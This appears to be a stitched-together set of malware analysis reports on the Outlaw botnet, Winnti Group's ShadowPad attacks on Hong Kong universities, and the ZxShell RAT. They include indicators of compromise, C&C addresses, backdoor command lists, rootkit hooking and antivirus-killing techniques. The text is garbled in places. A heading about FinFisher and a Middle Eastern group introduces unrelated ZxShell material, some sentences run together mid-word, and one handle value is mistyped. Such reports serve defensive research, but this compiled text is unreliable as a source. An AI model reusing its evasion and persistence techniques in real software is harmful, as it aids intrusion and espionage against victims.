This time , the group explored unpatched systems vulnerable to CVE-2016-8655 and Dirty COW exploit ( CVE-2016-5195 ) as attack vectors .
Files using simple PHP-based web shells were also used to attack systems with weak SSH and Telnet credentials .
While no phishing- or social engineering-initiated routines were observed in this campaign , we found multiple attacks over the network that are considered “ loud. ” These involved large-scale scanning operations of IP ranges intentionally launched from the command and control ( C&C ) server .
The honeynet graphs , which show activity peaks associated with specific actions , also suggest that the scans were timed .
We also considered the move as an obfuscation technique , as it was mixed with a lot of script kiddie activities that can easily be mistaken for grey noise online .
The attackers could hide their activities if they noted the business hours of the intended targets and performed the actions coinciding with said times .
From the sample we analyzed , attacks started from one virtual private server ( VPS ) that searches for a vulnerable machine to compromise ( previous techniques used malicious URLs or infecting legitimate websites for bot propagation ) .
Once infected , the C&C commands for the infected system launches a loud scanning activity and spreads the botnet by sending a “ whole kit ” of binary files at once with naming conventions same as the ones already in the targeted host , likely banking on breaking through via “ security through obscurity. ” They attempted to evade traffic inspection by encoding the code for the scanner with base-64 .
The zombie host initiates the scan — another routine from previous campaigns — but updated with a larger set of parameters and programmed to run in the background .
The kit we found is in tgz format , though we have observed some samples disguised as png or jpg .
While previous routines took advantage of competing miners ’ activities and unrelated components to hijack the profit , the latest version of the code attempts to remove all related files and codes from previous infections ( including their own to make sure the running components are updated , as well as those from other cybercriminals to maximize the resources of the zombie host ) and creates a new working directory /tmp/.X19-unix to move the kit and extract the files .
The tsm binary then runs in the background , forwarding a series of error messages to /dev/null to keep the code running , ensuring the continuous execution of the code referenced with a set of parameters /tmp/up.txt .
The script then waits 20 minutes before it runs the wrapper script initall :2e2c9d08c7c955f6ce5e27e70b0ec78a888c276d71a72daa0ef9e3e40f019a1a install .
Another variant executes a set of commands once a system is successfully compromised .
Most of these commands are related to gathering information from the infected machine ( number of CPU cores , users , scheduled tasks , running processes , OS installed , and CPU and memory information ) via the dota3 payload , as well as changing the password to a random string also stored in /tmp/up.txt .
In a previous execution ( published in June 2019 ) , we observed that dota2 had its own folder but it was hardly executed , indicating that this version is the updated iteration .
Running the script removes the remaining files and scripts from previous attacks , keeping a low profile to evade detection .
If the system has been previously infected with a cryptominer , it also attempts to kill the running miner and all its related activities .
Based on a bashtemp directory of the latest sample we found , there are other compiled ELF scripts , named init and init2 , that loops the kit to keep running :Both init and init2 scripts make sure all other running mining services are killed , and that all the files in the working directory are executed by giving 777 permissions .
We also found the init0 script running ; the script cleans out all miners regardless of its origin .
It then resets cron and removes possible cache files from other programs , starts scripts and binaries a , init0 , and start , and sets the persistence by modifying the crontab .
The a binary is a script wrapper to start run , a Perl-obfuscated script for installation of a Shellbot to gain control of the infected system .
The Shellbot disguises itself as a process named rsync , commonly the binary seen on many Unix- and Linux-based systems to automatically run for backup and synchronization .
This allows the malicious activity to evade detection .
The Shellbot script is added to run after the victim ’s system reboots , and scripts /a/upd , /b/sync/ , and /c/aptitude/ are added to the crontab .
However , while we observed the presence of the codes , the functions of upd , sync and aptitude were disabled in the kits ’ latest version .
It remains unclear whether these are leftover code from the previous versions or their particular purposes were served .
Shellbot is also used to control the botnet , with a command that is sent and run from the C&C to determine if there is a code execution in the shell , the hostname , and its architecture .
All results and system information collected from the infected system are stored locally in the device for a period before Outlaw retrieves them via the C&C .
We also found traces of Android Package Kits- ( APK- ) and Android Debug Bridge ( ADB )-based commands that enable cryptocurrency mining activities in Android-based TVs .
Since discovering the operations of this group in 2018 , Outlaw continues to use scripts , codes , and commands that have been previously used and deployed .
These routines are indicative of the group ’s aim to get quantitative returns through varied cybercriminal profit streams .
This was also reinforced by their naming conventions , wherein different versions are simply named after the code iterations , following a specific format regardless of the actual function of the code .
Furthermore , based on the group ’s use of dated exploits as vectors that companies would have likely addressed with monitoring and regular patching schedules , it appears that they ’re going after enterprises who have yet to patch their systems , as well as companies with internet-facing systems with weak to no monitoring of traffic and activities .
Considering the amount of resources needed to deploy all the necessary patches for an enterprise ( such as quality testing and operations alignment ) , which implies costly downtime for operations and the hesitation to update all systems immediately , Outlaw may find even more targets and victims for their updated botnets every time there is a patch released and waiting to be downloaded .
Save for a few iteration updates , combinations from previous deployments , and using the routines repetitively for every campaign , we found very little changes in the group ’s toolkit , which allowed various honeypots across the Eastern European region to detect many of the sent binaries .
Meanwhile , the group uses a wide range of IP addresses as input for scanning activities that are grouped by country , allowing them to attack certain regions or areas within particular periods of the year , as previously observed .
We think the group has likely become more enterprising , and learned to take advantage of some details from their previous campaigns to maximize profit opportunities while exerting minimal effort .
By shaping the attack , the group may be able to create niches in the underground , catering to the specific needs of their customers .
Also aware of the existing laws in Europe , they can avoid prosecution in certain countries as long as they avoid attacking them .
Collection of results and data from scanning in this manner might be easier to sort ( while allowing them to stay under the radar ) , as compared to getting feedback from zombie bots deployed around the world simultaneously .
We will continue to monitor this hacking group ’s activities and their toolkit ’s developments .
Outlaw ’s attack routines may not be new , but it still serves as a reminder for enterprises to update their systems regularly .
Legacy system users may use their providers ’ virtual patches .
Users are advised to close unused ports , to secure ports and other internet-facing devices that are regularly open for system administrators ’ support .
Users can also adopt a multilayered security solution that can protect systems from the gateway to the endpoint , actively blocking malicious URLs by employing filtering , behavioral analysis , and custom sandboxing .
Users can consider adopting security solutions that can defend against malicious bot-related activities such as Outlaw ’s through a cross-generational blend of threat defense techniques .
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With technologies that employ web/URL filtering , behavioral analysis , and custom sandboxing , XGen security offers protection against ever-changing threats that bypass traditional controls and exploit known and unknown vulnerabilities .
A multi-layered connected network defense and complete visibility into all network traffic , in addition to next-generation intrusion prevention system ( NGIPS ) , can help organizations stay a step ahead of threats that could compromise intangible assets .
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Outlaw : 1800de5f0fb7c5ef3c0d9787260ed61bc324d861bc92d9673d4737d1421972aa Cryptocurrency miner Trojan.SH.MALXMR.UWEJP .
Outlaw : b68bd3a54622792200b931ee5eebf860acf8b24f4b338b5080193573a81c747d Shellbot Backdoor.SH.SHELLBOT.AA .
Outlaw : 620635aa9685249c87ead1bb0ad25b096714a0073cfd38a615c5eb63c3761976 Tool Trojan.Linux.SSHBRUTE.B .
Outlaw : fc57bd66c27066104cd6f8962cd463a5dfc05fa59b76b6958cddd3542dfe6a9a Cryptocurrency miner Coinminer.Linux.MALXMR.SMDSL32 .
Outlaw : 649280bd4c5168009c1cff30e5e1628bcf300122b49d339e3ea3f3b6ff8f9a79 Cryptocurrency miner Coinminer.Linux.MALXMR.SMDSL64 .
Outlaw : 159.203.141.208 .
Outlaw : 104.236.192.6 .
Outlaw : 45.9.148.129:80 Miner pool .
Outlaw : 45.9.148.125:80 Miner pool .
Outlaw : http://www.minpop.com/sk12pack/idents.php Command and control .
Outlaw : http://www.minpop.com/sk12pack/names.php Command and control .
Winnti Group targeting universities in Hong Kong .
In November 2019 , we discovered a new campaign run by the Winnti Group against two Hong Kong universities .
We found a new variant of the ShadowPad backdoor , the group ’s flagship backdoor , deployed using a new launcher and embedding numerous modules .
The Winnti malware was also found at these universities a few weeks prior to ShadowPad .
The Winnti Group , active since at least 2012 , is responsible for for high-profile supply-chain attacks against the video game and software industries leading to the distribution of trojanized software ( such as CCleaner , ASUS LiveUpdate and multiple video games ) that is then used to compromise more victims .
It is also known for having compromised various targets in the healthcare and education sectors .
ESET researchers recently published a white paper updating our understanding of the arsenal of the Winnti Group , following a blog post documenting a supply-chain attack targeting the videogame industry in Asia .
Additionally , we published a blog post on a new backdoor named skip-2.0 that targets Microsoft SQL Server .
This article focuses on the technical details of this new ShadowPad variant .
About the “ Winnti Group ” naming :We have chosen to keep the name “ Winnti Group ” since it ’s the name first used to identify it , in 2013 , by Kaspersky .
Since Winnti is also a malware family , we always write “ Winnti Group ” when we refer to the malefactors behind the attacks .
Since 2013 , it has been demonstrated that Winnti is only one of the many malware families used by the Winnti Group .
In November 2019 , ESET ’s machine-learning engine , Augur , detected a malicious and unique sample present on multiple computers belonging to two Hong Kong universities where the Winnti malware had already been found at the end of October .
The suspicious sample detected by Augur is actually a new 32-bit ShadowPad launcher .
Samples from both ShadowPad and Winnti found at these universities contain campaign identifiers and C&C URLs with the names of the universities , which indicates a targeted attack .
In addition to the two compromised universities , thanks to the C&C URL format used by the attackers we have reasons to think that at least three additional Hong Kong universities may have been compromised using these same ShadowPad and Winnti variants .
This campaign of the Winnti Group against Hong Kong universities was taking place in the context of Hong Kong facing civic protests that started in June 2019 triggered by an extradition bill .
Even though the bill was withdrawn in October 2019 , protests continued , demanding full democracy and investigation of the Hong Kong police .
These protests gathered hundreds of thousands of people in the streets with large support from students of Hong Kong universities , leading to multiple university campus occupations by the protesters .
We have contacted the compromised universities and provided the necessary information and assistance to remediate the compromise .
Unlike previous ShadowPad variants documented in our white paper on the arsenal of the Winnti Group , this launcher is not obfuscated using VMProtect .
Furthermore , the encrypted payload is neither embedded in the overlay nor located in a COM1:NULL.dat alternate data stream .
And the usual RC5 encryption with a key derived from the volume ID of the system drive of the victim machine ( as seen in the PortReuse backdoor , skip-2.0 and some ShadowPad variants ) is not present either .
In this case , the launcher is much simpler .
The launcher is a 32-bit DLL named hpqhvsei.dll , which is the name of a legitimate DLL loaded by hpqhvind.exe .
This executable is from HP and is usually installed with their printing and scanning software called “ HP Digital Imaging ” .
In this case the legitimate hpqhvind.exe was dropped by the attackers , along with their malicious hpqhvsei.dll , in C:\Windows\Temp .
Although we do not have the component that dropped and executed this launcher , the presence of these files leads us to think that the initial execution of this launcher is done through DLLWhen the malicious DLL is loaded at hpqhvind.exe startup , its DLLMain function is called that will check its parent process for the following sequence of bytes at offset 0x10BA .
In the case where the parent process is hpqhvind.exe , this sequence of bytes is present at this exact location and the malicious DLL will proceed to patch the parent process in memory .
It replaces the original instructions at 0x10BA with an unconditional jump ( jmp – 0xE9 ) to the address of the function from hpqhvsei.dll that decrypts and executes the encrypted payload embedded in the launcher .
The decompiled function responsible for patching the parent process .
In case hpqhvsei.dll is loaded by a different process than hpqhvind.exe , the malicious code will not be decrypted and executed .
The difference between the original and patched hpqhvind.exe .
The part of the code that is patched is located at the very beginning of the main function of hpqhvind.exe .
The patched code is located right after the load of hpqhvsei.dll .
This means that the function responsible for decrypting and executing the payload is executed directly after the load of the malicious DLL .
The encrypted payload is located in the .rdata section of hpqhvsei.dll and the decryption algorithm is an XOR loop where the XOR key is updated at each iteration .
The decrypted payload is the usual shellcode responsible for ShadowPad initialization ( obfuscated using fake conditional jumps to hinder disassembly ) .
After having been decrypted , ShadowPad ’s shellcode is executed .
It will first achieve persistence on the system by writing the in-memory patched parent process to disk to a path specified in the configuration string pool .
In the case we examined , the path was C:\ProgramData\DRM\CLR\CLR.exe .
It then creates a service named clr_optimization_v4.0.30229_32 , which is responsible for executing CLR.exe .
To avoid suspicion , this service name , as well as the executable name , were chosen to look similar to the name of a Microsoft .NETThe numbering on each arrow corresponds to the chronological sequence of events .
ShadowPad is a multimodular backdoor where the modules are referenced from the Root module with a circular list from which one can extract the module address , a UNIX timestamp ( probably embedded automatically during the module ’s compilation process ) and a module identifier .
From the module itself we can also extract the name the developer gave to the module .
This version embeds the 17 modules listed in the following table :100 Root Thu 24 Oct 2019 12:08:27 PM UTC Initial shellcode .
 101 Plugins Thu 24 Oct 2019 12:07:02 PM UTC Provides API for the other modules ; loads modules .
 102 Config Thu 24 Oct 2019 12:07:09 PM UTC Handles encrypted configuration string pool .
 103 Install Thu 24 Oct 2019 12:07:46 PM UTC Achieves persistence .
 104 Online Thu 24 Oct 2019 12:07:17 PM UTC Overall communications with the C&C server .
 106 ImpUser Thu 24 Oct 2019 12:07:24 PM UTC User impersonation via token duplication .
 200 TCP Thu 24 Oct 2019 12:01:01 PM UTC TCP communications .
 202 HTTPS Thu 24 Oct 2019 12:01:15 PM UTC HTTPS communications .
 207 Pipe Thu 24 Oct 2019 12:01:35 PM UTC Handles named pipes .
 300 Disk Thu 24 Oct 2019 12:02:29 PM UTC File system operations .
 301 Process Thu 24 Oct 2019 12:02:36 PM UTC Process handling .
 302 Servcie Thu 24 Oct 2019 12:02:45 PM UTC Service handling .
 303 Register Thu 24 Oct 2019 12:02:52 PM UTC Registry operations .
 304 Shell Thu 24 Oct 2019 12:03:00 PM UTC Command line operations .
 306 Keylogger Thu 24 Oct 2019 12:03:16 PM UTC Keylogging to file system .
 307 Screen Thu 24 Oct 2019 12:03:25 PM UTC Screenshot capture .
 317 RecentFiles Thu 24 Oct 2019 12:04:44 PM UTC Lists recently accessed files .
These modules , except for RecentFiles , have already been mentioned by Kaspersky and Avast .
Notice the “ Servcie ” typo .
As usual , all the module timestamps are spread over a short time range , which could suggest the use of a build framework to compile these modules .
This also suggests that these modules were built a few hours before the launcher itself , whose compilation timestamp is Thu Oct 24 14:10:32 2019 .
Since this compilation timestamp dates back two weeks before this campaign , it ’s likely that it has n’t been tampered with by the attackers .
One might also note that the number of modules embedded in this variant is much higher ( 17 ) than the number of modules embedded in the variants previously documented in our white paper ( 8 to 10 modules ) .
By default , every keystroke is recorded using the Keylogger module ( 306, previously documented by Avast ) and saved to disk in the file %APPDATA%\PAGM\OEY\XWWEYG\WAOUE .
The log file is encrypted using the same algorithm as the one used to encrypt static strings from the module .
Using this module by default indicates that the attackers are interested in stealing information from the victims ’ machines .
In contrast , the variants we described in our white paper did n’t even have that module embedded .
As with previous ShadowPad variants , the Config module ( 102 ) contains an encrypted string pool that can be accessed from any other module .
The string pool is never stored entirely decrypted in memory ; the field of interest is decrypted when needed and then immediately freed ( thus quickly unavailable ) .
The configuration size is 2180 bytes and the encrypted strings are located at offset 0x84 .
The algorithm used to decrypt the strings is the same as the one used to decrypt the static strings of the module .
The campaign ID is located at offset 0x99 and is the name of the targeted university .
Having a campaign ID related to the target is quite common in the case of ShadowPad and Winnti .
Interestingly , the timestamp present in this config at offset 0x84 is later than the modules ’ timestamps and the loader compilation timestamp .
This suggests that this config is added manually to the sample after having been built .
Even though it ’s probably coincidental , the date within the config corresponds to the date of the first detection of this sample at the corresponding university .
Once installed on the system , ShadowPad starts a hidden and suspended Microsoft Windows Media Player wmplayer.exe process and injects itself into that process .
The path to wmplayer.exe is provided by the Config module .
Once ShadowPad is injected into wmplayer.exe , the Online module will contact the C&C server using the URL specified in the configuration .
The communication is then handled by the TCP module ( 200 ) , which was previously documented by Kaspersky .
In addition to ShadowPad , the Winnti malware was found on some machines at these two universities at the end of October ( i.e .
 two weeks before ShadowPad ) in the file C:\Windows\System32\oci.dll and is detected by ESET products as Win64/Winnti.CA .
The Winnti malware usually contains a configuration specifying a campaign ID and a C&C URL .
On all machines the campaign ID matches the name of the targeted university and the C&C URLs are :w[redacted].livehost.live : 443 .
 w[redacted].dnslookup.services : 443 .
 where the redacted part corresponds to the name of the targeted university .
One can observe that the C&C URL used by both Winnti and ShadowPad complies to the scheme [backdoor_type][target_name].domain.tld : 443 where [backdoor_type] is a single letter which is either “ w ” in the case of the Winnti malware or “ b ” in the case of ShadowPad .
From this format , we were able to find several C&C URLs , including three additional Hong Kong universities ’ names .
The campaign identifiers found in the samples we ’ve analyzed match the subdomain part of the C&C server , showing that these samples were really targeted against these universities .
The Winnti Group is still actively using one of its flagship backdoors , ShadowPad , this time against Hong Kong universities .
In this campaign , the VMProtected launcher used with ShadowPad , as well as with the PortReuse backdoor and skip-2.0 , was replaced by a simpler one .
That these samples , in addition to having been found at these universities , contain campaign IDs matching the universities ’ names and use C&C URLs containing the universities ’ names are good indications that this campaign is highly targeted .
We will continue to monitor new activities of the Winnti Group and will publish relevant information on our blog .
For any inquiries , contact us at threatintel@eset.com .
The IoCs are also available in our GitHub repository .
ESET detection names : Win32 / Shadowpad.C trojan Win64 / Winnti.CA trojan .
Winnti : hpqhvsei.dll .
Winnti : CLR.exe .
Winnti : hpqhvsei.dll .
Winnti : hpqhvind.exe .
Winnti : hpqhvsei.dll .
Winnti : oci.dll .
Winnti : C&C : b[org_name].dnslookup.services : 443 .
Winnti : C&C : w[org_name].livehost.live : 443 .
Winnti : C&C : w[org_name].dnslookup.services : 443 .
Middle Eastern hacking group is using FinFisher malware to conduct international espionage .
Recently , there was a blog post on the takedown of a botnet used by threat actor group known as Group 72 and their involvement in Operation SMN .
This group is sophisticated , well funded , and exclusively targets high profile organizations with high value intellectual property in the manufacturing , industrial , aerospace , defense , and media sector .
The primary attack vectors are watering-hole , spear phishing , and other web-based attacks .
Frequently , a remote administration tool ( RAT ) is used to maintain persistence within a victim ’s organization .
These tools are used to further compromise the organization by attacking other hosts inside the targets network .
ZxShell ( aka Sensocode ) is a Remote Administration Tool ( RAT ) used by Group 72 to conduct cyber-espionage operations .
Once the RAT is installed on the host it will be used to administer the client , exfiltrate data , or leverage the client as a pivot to attack an organization ’s internal infrastructure .
Here is a short list of the types of tools included with ZxShell :Keylogger ( used to capture passwords and other interesting data ) .
Command line shell for remote administration .
Remote desktop .
Various network attack tools used to fingerprint and compromise other hosts on the network .
Local user account creation tools .
For a complete list of tools please see the MainConnectionIo section .
The following paper is a technical analysis on the functionality of ZxShell .
The analysts involved were able to identify command and control ( C2 ) servers , dropper and installation methods , means of persistence , and identify the attack tools that are core to the RAT ’s purpose .
In addition , the researchers used their analysis to provide detection coverage for Snort , Fireamp , and ClamAV .
ZxShell has been around since 2004 .
There are a lot of versions available in the underground market .
We have analyzed the most common version of ZxShell , version 3.10 .
There are newer versions , up to version 3.39 as of October 2014 .
An individual who goes by the name LZX in some online forums is believed to be the original author of ZxShell .
Since ZxShell has been around since at least 2004 , numerous people have purchased or obtained the tools necessary to set up ZxShell command and control servers ( C&C ) and generate the malware that is placed on the victim ’s network .
ZxShell has been observed to be distributed through phishing attacks , dropped by exploits that leverage vulnerabilities such as CVE-2011-2462 , CVE-2013-3163 , and CVE-2014-0322 .
To illustrate the functionality of main ZxShell module , Let ’s take a look at the following sample :MD5 : e3878d541d17b156b7ca447eeb49d96a .
SHA256 : 1eda7e556181e46ba6e36f1a6bfe18ff5566f9d5e51c53b41d08f9459342e26c .
It exports the following functions , which are examined in greater detail below : DllMain Install UnInstall ServiceMain ShellMain ShellMainThread zxFunction001 zxFunction002 .
DllMain performs the initialization of ZxShell .
It allocates a buffer of 0x2800 bytes and copies the code for the ZxGetLibAndProcAddr function .
To copy memory , the memcpy function is invoked .
It is not directly used from msvcrt.dll but is instead copied to another memory chunk before being called .
Finally , the trojan Import Address Table ( IAT ) is resolved and the file path of the process that hosts the DLL is resolved and saved in a global variable .
ZxShell.dll is injected in a shared SVCHOST process .
The Svchost group registry key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost is opened and the netsvc group value data is queried to generate a name for the service .
Before the malware can be installed a unique name must to be generated for the service .
The malware accomplishes this through querying the netsvc group value data located in the svchost group registry key which is HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost .
At startup , Svchost.exe checks the services part of the registry and constructs a list of services to load .
Each Svchost session can contain multiple shared services that are organized in groups .
Therefore , separate services can run , depending on how and where Svchost.exe is started .
Svchost.exe groups are identified in the above registry key .
Each value under this key represents a separate Svchost group and appears as a separate instance when you are viewing active processes .
Each value is a REG_MULTI_SZ value and contains the services that run under that Svchost group .
Each Svchost group can contain one or more service names that are extracted from the following registry key , whose Parameters key contains a ServiceDLL value : HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Service .
On a Windows machine , the netsvc group contains names of both existing and non-existing services .
ZxShell exploits this fact by cycling between each of the names , verifying the existence of the real service .
The service ’s existence is verified with the ServiceExists function , which attempts to open the relative registry sub-key in HKLM\SYSTEM\CurrentControlSet\Services .
The first service name that is not installed on the system becomes the ZxShell service name .
A new service is then created using the service parser function ProcessScCommand .
ZxShell implemented its own version of theSC command .
There are minor differences between the ZxShell implementation of this command and the original Windows one .
The installed service registry key is opened and the 2 values under its Parameter subkey are created .
These 2 values , ServiceDll and ServiceDllUnloadOnStop are needed for services that run in a shared process .
Before the service is started ChangeServiceConfig is called to modify the service type to shared and interactive .
If the service fails to start then a random service name formatted as netsvc_xxxxxxxx , where xxxxxxxx represent an 8-digit random hex value , is added to the netsvc group and the entire function is repeated .
This function is the entry point of the service .
It registers the service using the RegisterServiceCtrlHandler Windows API function .
The ZxShell service handler routine is only a stub : it responds to each service request code , doing nothing , and finally exits .
It sets the service status to RUNNING and finally calls the ShellMain function of ZxShell .
The ShellMain function is a stub that relocates the DLL to another buffer and spawns a thread that starts from ShellMainThreadInt at offset +0xC0CD .
The ShellMainThreadInt function gets the HeapDestroy Windows API address and replaces the first 3 bytes with the RET 4 opcode .
Subsequently , it calls the FreeLibrary function to free its own DLL buffer located at its original address .
Because of this , the allocated heaps will not be freed .
It re-copies the DLL from the new buffer to the original one using the memcpy function .
Finally , it spawns the main thread that starts at the original location of ShellMainThread procedure , and terminates .
At this point , the ZxShell library is no longer linked in the module list of the host process .
This is important because if any system tool tries to open the host process it will never display the ZxShell DLL .
This thread implements the main code , responsible for the entire botnet DLL .
First , it checks if the DLL is executed as a service .
If so , it spawns the service watchdog thread .
The watchdog thread checks the registry path of the ZxShell service every 2 seconds , to verify that it has n’t been modified .
If a user or an application modifies the ZxShell service registry key , the code restores the original infected service key and values .
The buffer containing the ZxShell Dll in the new location is freed using the VirtualFree API function .
A handle to the DLL file is taken in order to make its deletion more difficult .
The ZxShell mutex is created named @_ZXSHELL_@ .
ZxShell plugins are parsed and loaded with the AnalyseAndLoadPlugins function .
The plugin registry key HKLM\SYSTEM\CurrentControlSet\Control\zxplug is opened and each value is queried .
The registry value contains the plugin file name .
The target file is loaded using the LoadLibrary API function , and the address of the exported function zxMain is obtained with GetProcAddress .
If the target filename is incorrect or invalid the plugin file is deleted and the registry value is erased .
That is performed by the function DeleteAndLogPlugin .
Otherwise , the plugin is added to an internal list .
The thread KeyloggerThread is spawned and is responsible for doing keylogging on the target workstation .
We will take a look at the keylogger later on .
Finally the main network communication function GetIpListAndConnect is called .
This function is at the core of the RAT ’s network communication .
It starts by initializing a random number generator and reading 100 bytes inside the ZxShell Dll at a hardcoded location .
These bytes are XOR encrypted with the byte-key 0x85 and contains a list of remote hosts where to connect .
The data is decrypted , the remote host list is parsed and verified using the BuildTargetIpListStruct function .
There are 3 types of lists recognized by ZxShell : plain ip addresses , HTTP and FTP addresses .
If the list does not contain any item , or if the verification has failed , the ZxShell sample tries to connect to a hardcoded hostwith the goal of retrieving a new updated list .
Otherwise , ZxShell tries to connect to the first item of the list .
If ZxShell successfully connects to the remote host , the function DoHandshake is called .
This function implements the initial handshake which consists of exchanging 16 bytes , 0x00001985 and 0x00000425,with the server .
The function GetLocalPcDescrStr is used to compose a large string that contains system information of the target workstation .
The string is sent to the remote host and the response is checked to see if the first byte of the response is 0xF4, an arbitrary byte .
If it is , the botnet connection I/O procedure is called through the MainConnectionIo function .
Otherwise , the ZxShell code closes the socket used and sleeps for 30 seconds .
It will then retry the connection with the next remote host , if there is one .
It is noteworthy that this function includes the code to set the ZxShell node as a server : if one of the hardcoded boolean value is set to 1, a listening socket is created .
The code waits for an incoming connection .
When the connection is established a new thread is spawned that starts with the MainConnectionIo function .
The MainConnectionIo function checks if the Windows Firewall is enabled , sets the Tcp Keep Alive value and Non-blocking mode connection options and receives data from the remote host through the ReceiveCommandData function .
Then the connection is retried .
The received command is then processed by the ZxShell function with the ProcessCommand function .
The command processing function starts by substituting the main module name and path in the hosting process PEB , with the one of the default internet browser .
This trick renders identification by firewall more cumbersome .
A host firewallrecognize the outgoing connection as originated by the browser instead of the ZxShell service host process .
The browser process always performs outgoing connections and the firewall should n’t block them .
The command processing is straightforward .
Here is the list of common commands :Help / ? Get help .
Exit / Quit Exit and shut down the botnet client .
SysInfo Get target System information .
SYNFlood Perform a SYN attack on a host .
Ps Process service Unix command implementation .
CleanEvent Clear System Event log .
FindPass Find login account password .
FileTime Get time information about a file .
FindDialPass List all the dial-up accounts and passwords .
User Account Management System .
TransFile Transfer file in or from remote host .
Execute Run a program in the remote host .
SC Service control command , implemented as the Windows one .
CA Clone user account .
RunAs Create new process as another User or Process context .
TermSvc Terminal service configuration ( working on Win Xp/2003 ) .
GetCMD Remote Shell .
Shutdown Logout , shutdown or restart the target system .
ZXARPS Spoofing , redirection , packet capture .
ZXNC Run ZXNC v1.1 – a simple telnet client .
ZXHttpProxy Run a HTTP proxy server on the workstation .
ZXSockProxy Run a Sock 4 & 5 Proxy server .
ZXHttpServer Run a custom HTTP server .
PortScan Run TCP Port MultiScanner v1.0 .
KeyLog Capture or record the remote computer ’s keystrokes .
The implementation is a userland keylogger that polls the keymap with each keystroke .
LoadDll Load a DLL into the specified process .
End Terminate ZxShell DLL .
Uninstall Uninstall and terminate ZxShell bot DLL .
ShareShell Share a shell to other .
CloseFW Switch off Windows Firewall .
FileMG File Manager .
 winvnc Remote Desktop .
 rPortMap Port Forwarding .
 capsrv Video Device Spying .
 zxplug Add and load a ZxShell custom plugin .
This set of functionality allows the operator complete control of a system .
Being able to transfer and execute files on the infected system means the attacker can run any code they please .
Further , the keylogging and remote desktop functionality allows the operator to spy on the infected machine , observing all keystrokes and viewing all user actions .
Unloads ZxShell and deletes all of the active components .
This simply deletes the ZxShell service key from the Windows registry ( using SHDeleteKey Api ) and all of the subkeys .
Finally , it marks ZxShell main Dll for deletion with the MoveFileEx Windows API .
This function is the supporting functionality for WinVNC .
To allow the VNC session to connect , the current network socket WSAProtcol_Info structure is written to a named pipe prior to calling zxFunction001 .
 zxFunction001 modifies the current process memory , uses data contained in the named pipe to create a socket , and then executes the code that sends the remote desktop session to the server controller .
ZxFunction002 This will either bind the calling process to a port or has the calling process connect to a remote host .
The functionality ( connect or bind ) depends on the data contained within the named pipe .
Unlike zxFunction001, this is not used byany of the RAT commands in the zxshell.dll .
Apart from user-mode ZxShell droppers mentioned earlier , there is a file ( SHA256 : 1e200d0d3de360d9c32e30d4c98f07e100f6260a86a817943a8fb06995c15335 ) that installs a kernel device driver called loveusd.sys .
The architecture of this dropper is different from the others : it starts extracting the main driver from itself .
It adds the SeLoadDriver privilege to its access token and proceeds to install the driver as a fake disk filter driver .
It then adds the “ Loveusd.sys ” extracted driver name to the upper filter list .
In our analysed sample the “ Loveusd.sys ” driver is installed with the name “ USBHPMS ” .
Finally the driver is started using the ZwLoadDriver native API .
The ZxShell driver starts by acquiring some kernel information and then hooking “ ObReferenceObjectByHandle ” API .
Finally it spawns 2 system threads .
The first thread is the “ communication ” thread .
ZxShell employs a strange method for communication : it hooks the NtWriteFile API and recognizes 5 different special handle values as commands :0x111111111 : Hide “ Loveusd ” driver from the system kernel driver list .
 0x22222222 : Securely delete an in-use or no-access target file-name .
 0x44444444 : Unhook the ZwWriteFile API and hook KiFastCallEntry .
 0x55555555 : Remove the ZxShell Image Load Notify routine .
 0x88888888 : Set a special value called “ type ” in Windows registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\DriverMain .
The second Loveusd system thread does a lot of things .
Its principal duties are to create the ZxShell main DLL in “ c:\Windows\System32\commhlp32.dll ” and to install the Kernel “ Load Image Notify routine ” .
The code then tries to kill each process and service that belongs to the following list of AV products :Firewall Norton ESET McAfee Avast Avira Sophos Malwarebytes .
Next , the ZxShell Load-Image Notify function prevents the AV processes from restarting .
The installation procedure continues in the user-mode dropper .
The ZxShell service is installed as usual , and the in-execution dropper is deleted permanently using the special handle value 0x22222222 for the WriteFile API call .
This handle value is invalid : all the windows kernel handle values are by design a multiple of 4 .
The ZxShell hook code knows that and intercept it .
ObReferenceObjectByHandle is a Kernel routine designed to validate a target object and return the pointer to its object body ( and even its handle information ) , starting from the object handle ( even the user-mode one ) .
The hook installed by ZxShell implements one of its filtering routine .
It filters each attempt to open the ZxShell protected driver or the main DLL , returning a reference to the “ netstat.exe ” file .
The protection is enabled to all processes except for ones in the following list : Svchost.exe , Lsass.exe , Winlogon.exe , Services.exe , Csrss.exe , ctfmon.exe , Rundll32.exe , mpnotify.exe , update.exe .
If the type of the object that the system is trying to validate is a process , the hook code rewrites again the configuration data of the ZxShell service in the windows registry .
The last type of Kernel modification that ZxShell rootkit performs is the system call dispatcher ( KiFastCallEntry ) hook .
In this manner , ZxShell is able to completely hide itself , intercepting the following Kernel API calls : ZwAllocateVirtualMemory , ZwOpenEvent , ZwQueryDirectoryFile , ZwWriteFile , ZwEnumerateKey , and ZwDeviceIoControlFile .
Command and Control Server : Sample ( SHA256 : 1eda7e556181e46ba6e36f1a6bfe18ff5566f9d5e51c53b41d08f9459342e26c ) is configured to act as a server .
The symbol “ g_bCreateListenSck ” is set to 1 .
This means that , as seen above , the ZxShell Dll is started in listening mode .
It connects to the first remote C&C that tries to contact it and succeeds in the handshake .
The encrypted IP address is “ 127.0.0.2 ” ( used as loopback ) and no connection is made on that IP address ( due to the listening variable set to 1 ) .
We used the ZxShell package for version 3.10 ( SHA256 : 1622460afbc8a255141256cb77af61c670ec21291df8fe0989c37852b59422b4 ).The convenient thing about this is that the CNC panel worked with any version , 3.10 and above .
The buttons are all in Chinese , with the help of Google Translate and keen detective skills ( read : button clicking ) , we ’ve deciphered the functionality .
Once an infected machine connects , you see its information displayed in a selection box at the top .
There are some built in functions on the side for the more common features .
These include remote desktop , webcam spying , remote shell , and file management .
You can also select a host and type help for a full list of commands .
I have the same machine infected with two different version of ZxShell .
Sending the help command for each , you can see the extra features added between version 3.1 and 3.2 .
Keylogging , ZXARPS ( IP and URL spoofing ) , and SYNFlood are some of the interesting features added to version 3.2 .
In versions 3.1 – 3.21, the configuration info is xor encoded with 0x85 .
This configuration info can be changed with a tool included in the ZxShell package .
In versions 3.22 and 3.39 the routine changes .
The new xor encoding byte is 0x5B .
The data is stored in the last 0x100 bytes of the file .
The first 8 bytes of data are static .
Then there is the dll install name , the domain , and the port .
Knowing the obfuscation routines for this data we wrote a script to extract the URLs / IPs and ports stored .
The most common ports used are , 80, 1985, 1986, and 443 .
